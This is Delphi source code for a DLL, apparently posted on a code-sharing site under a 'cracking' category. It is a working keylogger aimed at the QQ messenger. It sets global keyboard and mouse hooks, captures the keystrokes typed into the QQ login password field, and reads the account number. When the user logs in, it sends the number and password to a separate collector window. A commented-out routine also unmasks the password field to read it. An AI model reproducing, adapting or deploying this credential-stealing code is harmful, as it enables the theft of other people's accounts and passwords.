GQPl.dpr
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:8k
源码类别:

破解

开发平台:

Delphi

  1. {....................author: ZHY............
  2.  ....................qq:65862177............
  3.  ...........e-mail:zhyprogram@163.com.........
  4.  ........本代码来源www.2ccc.com,有部分修改.....
  5. }
  6. library GQPl;
  7. uses
  8.   windows,
  9.   messages,
  10.   dialogs,
  11.   sysutils,
  12.   shellapi,
  13.   inifiles;
  14. type
  15.   PMouseHookStruct = ^TMouseHookStruct;
  16.   tagMOUSEHOOKSTRUCT = packed record
  17.     pt: TPoint;
  18.     hwnd: HWND;
  19.     wHitTestCode: UINT;
  20.     dwExtraInfo: DWORD;
  21.   end;
  22.   TMouseHookStruct = tagMOUSEHOOKSTRUCT;
  23. const  WM_getdata=WM_User+100;
  24. var
  25.   KeyHook,MouseHook:HHook;
  26.   password_str:shortstring;
  27. procedure show_numberpassword(number,password:shortstring);
  28. var
  29.   mstr:shortstring;
  30.   ds: TCopyDataStruct;
  31. begin
  32.  mstr:=number+'/'+password+#0;
  33.  ds.cbData := Length(mstr) + 1;
  34.  GetMem(ds.lpData, ds.cbData);
  35.  StrCopy(ds.lpData, @mstr[1]);
  36.  sendmessage(findwindow('TGQPFRM','GQP 1.0'),WM_COPYDATA,0,Cardinal(@ds));
  37.  FreeMem(ds.lpData);
  38. end;
  39. function Get_qqnumber:shortstring;
  40. var
  41.   buffer:array[0..50] of char;
  42.   Window,Number_window:Longint;
  43. begin
  44.   result:='';
  45.   Window:=findwindow('#32770',nil);
  46.   if window=0 then exit;
  47.   Number_window:=FindWindowex(window,0,'ComboBox',nil);
  48.   if Number_window=0 then exit;
  49.   SendMessage(Number_window, $000D, 50, Integer(@buffer));
  50.   result:=buffer;
  51. end;
  52. function ispassword_window:boolean;
  53. var
  54.   window,password_window:thandle;
  55. begin
  56.   result:=false;
  57.   window:=findwindow('#32770',nil);
  58.   if window=0 then exit;
  59.   password_window:=findwindowex(window,0,'Edit',nil);
  60.   if password_window=0 then exit;
  61.   //showmessage(inttostr(getfocus)+' '+inttostr(password_window));
  62.   if getfocus=password_window then
  63.   result:=true;
  64. end;
  65. {function get_password:string;
  66. var
  67.   buffer:array[0..255] of char;
  68.   Window,password_window:Longint;
  69. begin
  70.   result:='';
  71.   window:=findwindow('#32770',nil);
  72.   if window=0 then exit;
  73.   password_window:=findwindowex(window,0,'edit',nil);
  74.   if password_window=0 then exit;
  75.   PostMessage(password_window,EM_SETPASSWORDCHAR, 0, 0);
  76.   sleep(300);
  77.   SendMessage(password_window,WM_GETTEXT,255,longint(@buffer));
  78.   //showmessage(buffer[3]);
  79.   PostMessage (password_window,EM_SETPASSWORDCHAR,42,0);
  80.   result:=buffer;
  81. end;  }
  82. function isqq_window:boolean;
  83. begin
  84.   if findwindow('#32770',nil)=GetForegroundWindow then
  85.   result:=true
  86.   else result:=false;
  87. end;
  88. function keytext(wparam:lParam;lParam:LPARAM):char;
  89.  var
  90.   mchar,temchar:char;
  91.   ochar:array[0..49] of char;
  92.   shiftDown:boolean;
  93.  begin
  94.   mchar:=char(0);
  95.   shiftDown:=boolean(GetAsyncKeyState(vk_shift) shr 31);
  96.      if  shiftDown then
  97.       case char(wparam) of
  98.         '1':mchar := '!';
  99.         '2':mchar := '@';
  100.         '3':mchar := '#';
  101.         '4':mchar := '$';
  102.         '5':mchar := '%';
  103.         '6':mchar := '^';
  104.         '7':mchar := '&';
  105.         '8':mchar := '*';
  106.         '9':mchar := '(';
  107.         '0':mchar := ')';
  108.         'A':mchar := 'A';
  109.         'B':mchar := 'B';
  110.         'C':mchar := 'C';
  111.         'D':mchar := 'D';
  112.         'E':mchar := 'E';
  113.         'F':mchar := 'F';
  114.         'G':mchar := 'G';
  115.         'H':mchar := 'H';
  116.         'I':mchar := 'I';
  117.         'J':mchar := 'J';
  118.         'K':mchar := 'K';
  119.         'L':mchar := 'L';
  120.         'M':mchar := 'M';
  121.         'N':mchar := 'N';
  122.         'O':mchar := 'O';
  123.         'P':mchar := 'P';
  124.         'Q':mchar := 'Q';
  125.         'R':mchar := 'R';
  126.         'S':mchar := 'S';
  127.         'T':mchar := 'T';
  128.         'U':mchar := 'U';
  129.         'V':mchar := 'V';
  130.         'W':mchar := 'W';
  131.         'X':mchar := 'X';
  132.         'Y':mchar := 'Y';
  133.         'Z':mchar := 'Z';
  134.       end
  135.      else
  136.        case char(wparam) of
  137.          '1':mchar:= '1';
  138.          '2':mchar:= '2';
  139.          '3':mchar:= '3';
  140.          '4':mchar:= '4';
  141.          '5':mchar:= '5';
  142.          '6':mchar:= '6';
  143.          '7':mchar:= '7';
  144.          '8':mchar:= '8';
  145.          '9':mchar:= '9';
  146.          '0':mchar:= '0';
  147.          'A':mchar:= 'a';
  148.          'B':mchar:= 'b';
  149.          'C':mchar:= 'c';
  150.          'D':mchar:= 'd';
  151.          'E':mchar:= 'e';
  152.          'F':mchar:= 'f';
  153.          'G':mchar:= 'g';
  154.          'H':mchar:= 'h';
  155.          'I':mchar:= 'i';
  156.          'J':mchar:= 'j';
  157.          'K':mchar:= 'k';
  158.          'L':mchar:= 'l';
  159.          'M':mchar:= 'm';
  160.          'N':mchar:= 'n';
  161.          'O':mchar:= 'o';
  162.          'P':mchar:= 'p';
  163.          'Q':mchar:= 'q';
  164.          'R':mchar:= 'r';
  165.          'S':mchar:= 's';
  166.          'T':mchar:= 't';
  167.          'U':mchar:= 'u';
  168.          'V':mchar:= 'v';
  169.          'W':mchar:= 'w';
  170.          'X':mchar:= 'x';
  171.          'Y':mchar:= 'y';
  172.          'Z':mchar:= 'z';
  173.    end;
  174.    if mchar=char(0) then
  175.     begin
  176.       case wparam of
  177.        VK_BACK:mchar:= '~';     
  178.        VK_NUMPAD1:mchar:= '1';
  179.        VK_NUMPAD2:mchar:= '2';
  180.        VK_NUMPAD3:mchar:= '3';
  181.        VK_NUMPAD4:mchar:= '4';
  182.        VK_NUMPAD5:mchar:= '5';
  183.        VK_NUMPAD6:mchar:= '6';
  184.        VK_NUMPAD7:mchar:= '7';
  185.        VK_NUMPAD8:mchar:= '8';
  186.        VK_NUMPAD9:mchar:= '9';
  187.        VK_NUMPAD0:mchar:= '0';
  188.        VK_MULTIPLY:mchar:= '*';
  189.        VK_ADD:     mchar:= '+';
  190.        VK_SUBTRACT:mchar:= '-';
  191.        VK_DECIMAL: mchar:= '.';
  192.        VK_DIVIDE: mchar:= '/';
  193.       end;
  194.     end;
  195.     
  196.      if mchar=char(0) then
  197.       begin
  198.        GetKeyNameText(lParam,ochar,50);
  199.        temchar:=ochar[0];
  200.         if shiftdown then
  201.           case temchar of
  202.            '`':mchar:='~';
  203.            '-':mchar:='_';
  204.            '=':mchar:='+';
  205.            '[':mchar:='{';
  206.            ']':mchar:='}';
  207.            ';':mchar:=':';
  208.            '''':mchar:='"';
  209.            ',':mchar:='<';
  210.            '.':mchar:='>';
  211.            '/':mchar:='?';
  212.            '':mchar:='|';
  213.           end
  214.         else
  215.           case temchar of
  216.            '`':mchar:='`';
  217.            '-':mchar:='-';
  218.            '=':mchar:='=';
  219.            '[':mchar:='[';
  220.            ']':mchar:=']';
  221.            ';':mchar:=';';
  222.            '''':mchar:='''';
  223.            ',':mchar:=',';
  224.            '.':mchar:='.';
  225.            '/':mchar:='/';
  226.            '':mchar:='';
  227.           end;
  228.       end;
  229.       
  230.     result:=mchar;
  231.   end;
  232.  
  233. function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
  234. begin   {回车}        {键盘按键按下消息}
  235.   if findwindow('#32770',nil)<>0 then
  236.   begin
  237.     if (wParam=13) and(((LParam shr 31)and 1)=0)and(isqq_window)  then
  238.     begin
  239.       show_numberpassword(get_qqnumber,password_str);
  240.       password_str:='';
  241.     end
  242.     else begin
  243.       if (((LParam shr 31)and 1)=0)and(ispassword_window) then
  244.         begin
  245.          if keytext(wParam,Lparam)<>char(0) then
  246.          password_str:=password_str+keytext(wParam,Lparam);//chr(wparam);
  247.         end;
  248.     end;
  249.     Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);
  250.   end;
  251. end;
  252. function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
  253. var
  254.   buffer:array[0..5] of char;
  255. begin {鼠标左键按下消息}
  256.   if (findwindow('#32770',nil)<>0)and(wparam=WM_LBUTTONDOWN) then
  257.   begin
  258.     SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,WM_GETTEXT,5,Integer(@buffer));
  259.     if buffer='登录' then
  260.     begin
  261.       show_numberpassword(get_qqnumber,password_str);
  262.       password_str:='';   
  263.     end;
  264.   end;
  265.   Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);
  266. end;
  267. procedure HookOn;
  268. begin
  269.   KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
  270.   MouseHook:=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);
  271. end;
  272. procedure HookOff;
  273. begin
  274.   UnHookWindowsHookEx(KeyHook);
  275.   UnHookWindowsHookEx(MouseHook);
  276. end;
  277.   //=================导出函数
  278. exports
  279.   HookOn,HookOff;
  280.   
  281. begin
  282. end.